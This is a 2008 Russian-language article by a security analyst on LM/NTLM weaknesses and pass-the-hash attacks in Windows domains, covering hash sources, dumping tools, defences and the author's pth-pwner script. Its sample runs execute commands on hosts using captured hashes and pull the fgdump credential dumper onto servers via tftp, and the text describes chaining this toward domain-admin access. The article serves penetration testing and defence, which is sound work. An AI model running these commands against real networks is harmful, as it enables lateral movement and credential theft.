05 ноября, 2008
Антон Карпов
Аналитик по информационной безопасности Digital Security
a.karpov@dsec.ru
http://www.dsec.ru
О проблемах безопасности протоколов LM/NTLM сказано немало. Поэтому для того, чтобы в очередной раз поднимать эту тему, нужны некоторые причины. И такие причины есть. Во-первых, опыт проведения аудита в крупных корпоративных сетях наглядно показывает: по состоянию на конец 2008 года даже старый LanManager кое-где еще живее всех живых. Иными словами, данная статья, как и приведенная в статье утилита, никогда не были бы написаны, если бы их актуальность не была подтверждена регулярной практикой. Вторая причина является следствием первой и заключается в регулярном появлении на известных конференциях по безопасности (BlackHat, Defcon) материалов на заданную тематику, как и различного вида программных средств для проведения атак на NTLM-хэши. Поэтому скептикам, приготовившим аргумент в виде слова "Kerberos", рекомендуется глубоко вдохнуть и пойти проверить свою Windows-сеть на наличие описываемых проблем.
Немного скучной теории. Аутентификация и пароли
Чтобы понять, какую роль протокол NTLM играет в аутентификационном процессе на Windows-машине, рассмотрим, что же происходит после нажатия заветной комбинации Ctrl+Alt+Delete во время интерактивного входа в систему. Процесс Winlogon, а точнее, графическая библиотека GINA (Graphical Identification and Authentication) принимает введенные пользователем аутентификационные данные (имя пользователя и пароль, PIN-код от смарт-карты и т.п.) и инициирует обращение в LSA (Local Security Authority). В случае осуществления локального входа, LSA выполняет обращение в локальную SAM-базу для аутентификации пользователя и возвращает процессу Winlogon токен доступа. После этого, в случае успешной аутентификации, пользователь получает доступ к графической оболочке.
В случае использования доменной структуры пользователя аутентифицирует не локальная LSA, а LSA на контроллере домена, хранящего учетные записи доменных пользователей в Active Directory. Для удаленного взаимодействия этих подсистем (т.е. для аутентификации пользователя или компьютера по сети) используются т.н. аутентификационные пакеты (authentication package), реализующие различные протоколы аутентификации. Таковых всего два: NTLM (библиотека MSV1_0.dll) и Kerberos (библиотека Kerberos.dll). Начиная с Windows 2000, для совершения процедуры доменной аутентификации по умолчанию используется протокол Kerberos (строго говоря, начиная с Windows 2000 LSA по умолчанию выбирает пакет Kerberos вне зависимости от вида входа в систему, но этот аутентификационный пакет не умеет выполнять локальную аутентификацию, и в случае локального входа выполняется fallback на NTLM для обращения к SAM-базе с хэшами паролей).
Пароли в Windows шифруются одним из двух возможных способов: LM и NTLM-хэш. Слабости обоих алгоритмов общеизвестны: отсутствие т.н. «соли» (salt) для рандомизации выходной последовательности (строго говоря, протокол LM использует фиксированное значение «соли» - «KGS!@#$%», NTLM же представляет собой просто MD4-хэш пароля пользователя), что открывает возможность использования Rainbow-таблиц для подбора пароля. Кроме того, LM-хэш является крайне нестойким (максимальная длина пароля составляет 14 символов, недостающие символы дополняются нулями, а затем пароль делится на две части по 7 символов, которые шифруются отдельно с помощью алгоритма DES) и вскрывается с использованием современных вычислительных мощностей за конечное время.
В Windows штатно присутствует три механизма удаленной аутентификации, реализованных в аутентификационных пакетах NTLM и Kerberos, о которых сказано выше. Это LM/NTLM challenge-response, NTLMv2 challenge-response и Kerberos. Недостатки первых двух также общеизвестны: для аутентификации доменным пользователем совершенно необязательно иметь его пароль, так как в процедуре аутентификации используется только хэш пароля учетной записи пользователя. Именно на этом свойстве протокола построены атаки вида Pass-the-Hash, первое упоминание о которых датируется аж 1997 годом.
Зачем мне все это в 2008 году?
Наконец, мы подходим к главной причине, по которой в этой статье собраны материалы более чем десятилетней практики security-сообщества, и имя ей – обратная совместимость. Так, только лишь в Windows Vista / Windows Server 2008 генерация LM-хэшей по умолчанию отключена (опция NoLmHash в разделе реестра HKLM\SYSTEM\CurrentControlSet\Control\Lsa), все предыдущие версии ОС, включая самый распространенный на сегодняшний день в корпоративной среде Windows Server 2003, по умолчанию генерируют и хранят LM-хэши для паролей, длина которых меньше 14 символов. Однако это не самое страшное. Гораздо более неприятен следующий факт: не смотря на то, что все серверные версии Windows, начиная с Server 2000, по умолчанию используют Kerberos для удаленной аутентификации пользователя или ресурса, протокол LM/NTLM challenge-response все еще поддерживается и может быть использован, если клиент инициирует такое соединение. За эту поддержку отвечает ключ реестра LmCompatibilityLevel в разделе реестра HKLM\SYSTEM\CurrentControlSet\Control\Lsa, который может принимать целочисленное значение от 0 до 5. В Windows Server 2003 этот параметр по умолчанию имеет значение 2, в Windows Vista / Server 2003 – 3, и для контроллера домена означает возможность использования клиентом LM/NTLM или NTLMv2 challenge-response протокола для удаленной аутентификации.
Неудивительно, что в настоящее время широко распространены утилиты для «игр» с NTLM-хэшами, а сама задача получения хэша является более чем актуальной. Еще бы, ведь даже в сети, построенной на самой современной на текущий день серверной платформе Windows Server 2008, получение хотя бы одного хэша учетной записи, обладающей административными правами на каком-либо сервере, может привести к получению удаленного административного доступа к контроллеру домена, а значит, и ко всем серверам и рабочим станциям в домене. Этому способствует сильная связанность в корпоративных сетях: опыт проведения аудитов показывает, что ситуация, при которой обнаруженная на одном сервере учетная запись подойдет, по крайней мере, на еще один сервер, является более чем типичной. Получив, таким образом, доступ к новому серверу и сняв с него новые хэши паролей, есть большая вероятность инициировать лавинный процесс, который рано или поздно приведет к получению искомого: учетной записи администратора домена. При этом стоит отметить, что стойкость пароля не имеет никакого значения, ведь ничего не нужно расшифровывать – ни с помощью Rainbow-таблиц, ни «грубой силой».
Как получить хэши?
В «чистом виде» хэши можно получить следующими способами:
- Из AD-хранилища (в случае контроллера домена);
- Из локальной SAM-базы;
- Из кэша LSA, во время активной сессии пользователя.
Если с первыми двумя все понятно, то третий не стоит путать с т.н. “cached logon accounts”, которые хранятся в системе на случай необходимости входа в домен при недоступном контроллере. Во время активного локального или удаленного сеанса работы (например, когда администратор подключается по RDP для выполнения административных задач) LSA хранит активные credentials в памяти, откуда они могут быть получены с помощью таких утилит как whosthere.exe из набора Psh-toolkit (http://oss.coresecurity.com/projects/pshtoolkit.htm) или gsecdump.exe (http://www.truesec.com).
Существуют также альтернативные способы получения NTLM-хэшей, например, довольно эффективно показывает себя в корпоративных сетях перехват хэшей при совершении клиентским браузером NTLM HTTP-аутентификации. Летом 2008 года на конференции DefCon была продемонстрирована утилита Squirtle (http://code.google.com/p/squirtle/) для проведения подобных атак. Однако NTLM-хэш пароля в случае HTTP-аутентификации передается в сообщении (Type 3 message) в зашифрованном случайным значением (nonce) виде и не подходит для немедленного использования, требуя предварительной расшифровки. Поэтому данные методы, хоть и являются весьма интересными, выходят за рамки данной статьи.
PtH-Pwner
Существует большое количество утилит, которые позволяют подменять права текущего пользователя (credentials), используя полученный NTLM-хэш. Самые популярные – это iam.exe из вышеупомянутого набора Psh-toolkit и msvctl.exe от TrueSec. Они позволяют «представляться» в Windows-сети от имени скомпрометированной учетной записи для получения доступа к сетевым ресурсам. Однако у них имеется два недостатка. Первый – их использование ограничено win32-платформой, второй – обе эти утилиты слабо подходят для автоматизации рутинных задач. В то же время практика проведения аудитов защищенности не раз требовала легкого и удобного решения задач вида «на какие еще машины подойдет обнаруженный NTLM-хэш со взломанного сервера», «пройтись по взломанным серверам и добавить учетную запись, вытащить новые хэши паролей» и т.п. Для автоматизации таких задач был написан скрипт на языке shell, по сути являющийся удобной оболочкой для утилиты winexe (линуксовый аналог psexec), пропатченной для возможности аутентификации с помощью NTLM-хэша (http://www.foofus.net/jmk/passhash.html). За отсутствием богатой фантазии у автора скрипт назван pth-pwner и доступен по адресу http://www.dsec.ru/dsecrg/releases/pth-pwner.tar.gz.
Скрипт функционирует под ОС Linux и может работать в двух режимах. В первом он принимает в качестве аргументов имя пользователя (локального или доменного), хэш его пароля и адрес сервера (или подсети). Опционально может быть указан файл, в котором построчно указаны команды для выполнения на сервере (по умолчанию выполняется команда ipconfig), список хостов также может быть указан в файле и передан в качестве аргумента. После запуска утилита пытается аутентифицироваться переданным хэшем на указанных серверах и выполнить заданную команду.
$ ./pth-pwner -u CORP\\domadmin -s 64DFE7...F74F9B:ADF5F3...6BB49AD2 -h 10.11.0.6
[+] PtH-Pwner v. 1.0 (Aug 2008)
Running with the following credentials:
Username to login: domadmin
Domain: CORP
SMBHASH to use: 64DFE7...F74F9B:ADF5F3...6BB49AD2
Host/Subnet to scan: 10.11.0.6
Command to execute: ipconfig
[+] attacking 10.129.11.6
Windows IP Configuration
Ethernet adapter Local Area Connection 2:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.11.0.6
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : 10.11.0.7
10.11.0.6 [CORP]: SUCCESS!
All done. 1 scanned, 1 succeeded
$ ./pth-pwner.sh -u LocAdmin -s 64DFE71...F74F9B:ADF5...116BB49AD2 -f hosts.txt -c commands.txt
[+] PtH-Pwner v. 1.0 (Aug 2008)
Running with the following credentials:
Username to login: LocAdmin
SMBHASH to use: 64DFE71...F74F9B:ADF5...116BB49AD2
Reading hosts from hosts.txt
Reading commands from commands.txt
[+] attacking 10.11.0.11
>>>>>>>> attempting to execute [tftp -i 10.11.0.141 GET fgdump.exe] on 10.11.0.11
Transfer successful: 974848 bytes in 1 second, 974848 bytes/s
10.11.0.11 [SERV11]: executing [tftp -i 10.11.0.141 GET fgdump.exe] -> SUCCESS!
[+] attacking 10.11.0.20
>>>>>>>> attempting to execute [tftp -i 10.11.0.141 GET fgdump.exe] on 10.11.0.20
Transfer successful: 974848 bytes in 1 second, 974848 bytes/s
10.11.0.20 [SERV20]: executing [tftp -i 10.11.0.141 GET fgdump.exe] -> SUCCESS!
...
Для еще большей автоматизации процесса можно воспользоваться вторым режимом работы скрипта. Предположим, у нас есть результат работы утилиты gsecdump.exe с какого-либо сервера. Передав при помощи ключа -g на вход скрипту вместо одного NTLM-хэша файл с хэшами в формате gsecdump, мы заставим его проверить каждую присутствующую в файле запись на возможность аутентификации на заданных хостах. Очевидно, что, передав в качестве команды закачивание и выполнение на скомпрометированных хостах утилиты gsecdump.exe, мы можем инициировать тот самый лавинный эффект, который приведет к взлому все большего и большего количества хостов на каждой итерации.
Как защититься?
Очевидно, что никакая парольная политика от описанных атак не спасет, так пароль не подвергается расшифровке, а значит, его стойкость не имеет никакого значения. Переход на двухфакторные методы аутентификации, как ни странно, тоже не исправит ситуацию. NTLM слишком «глубоко вшит» в систему и отключить его полностью не представляется возможным. Так, в Windows 2000 при переходе на аутентификацию по смарт-картам хэш пароля все равно хранится в базе без изменений. В Windows 2003 пароль меняется на случайную последовательность, но, как сказано выше, роли это никакой не играет.
Специалисты из Compass Security AG провели любопытное исследование (http://www.csnc.ch/static/download/Hash_Injection_Attack_E.pdf), в котором попытались как полностью деактивировать аутентификационный пакет NTLM в реестре, так и физически удалить библиотеку MSV1_0.dll с рабочей станции под управлением Windows XP в домене. В обоих случаях ни локальный, ни доменный вход систему стал невозможен.
Все типовые рекомендации (отключение хранения LM-хэшей на серверах и рабочих станциях, выставление параметра LmCompatibilityLevel в максимально возможное значение, отключение локального хранения кэшированных аккаунтов и последующая очистка кэша и т.п.) не являются панацеей от проблемы.
В какой-то степени помочь может принудительное шифрование трафика и аутентификация хостов с помощью IPSec, для невозможности использования хэша с недоверенных систем. Для этого необходимо настроить соответствующие политики на контроллере домена.
Выводы
Алгоритм LanManager (LM) был разработан в начале 90-х годов прошлого века. Операционная система Windows Server 2003 вышла тринадцать лет спустя. И тем не менее, в ней все еще хранились пароли пользователей, зашифрованные с применением этого алгоритма. Виновницей данного факта, как и того, что описанные в статье атаки далеко не первой свежести отлично работают в современных Windows-сетях, является она - та, которая вызывает скрип зубов у разработчиков и крики отчаяния пользователей. Имя ей - backward compatibility.
Ссылки по теме:
http://technet.microsoft.com/ru-ru/magazine/cc160954(en-us).aspx
http://technet.microsoft.com/en-us/library/cc780332.aspx
http://www.securitylab.ru/contest/212100.php
http://oss.coresecurity.com/projects/pshtoolkit.htm
http://www.foofus.net/jmk/passhash.html
http://www.truesec.com/PublicStore/catalog/Downloads,223.aspx
http://www.csnc.ch/static/download/Hash_Injection_Attack_E.pdf
http://truesecurity.se/blogs/murray/archive/2007/03/16/why-an-exposed-lm-ntlm-hash-is-comparable-to-a-clear-text-password.aspx
http://www.innovation.ch/personal/ronald/ntlm.html
http://davenport.sourceforge.net/ntlm.html
http://www.foofus.net/fizzgig/fgdump/
http://carnal0wnage.blogspot.com/2008/03/msvctl-pass-hash-action.html
http://code.google.com/p/squirtle/
http://grutztopia.jingojango.net/
Комментариев нет:
Отправить комментарий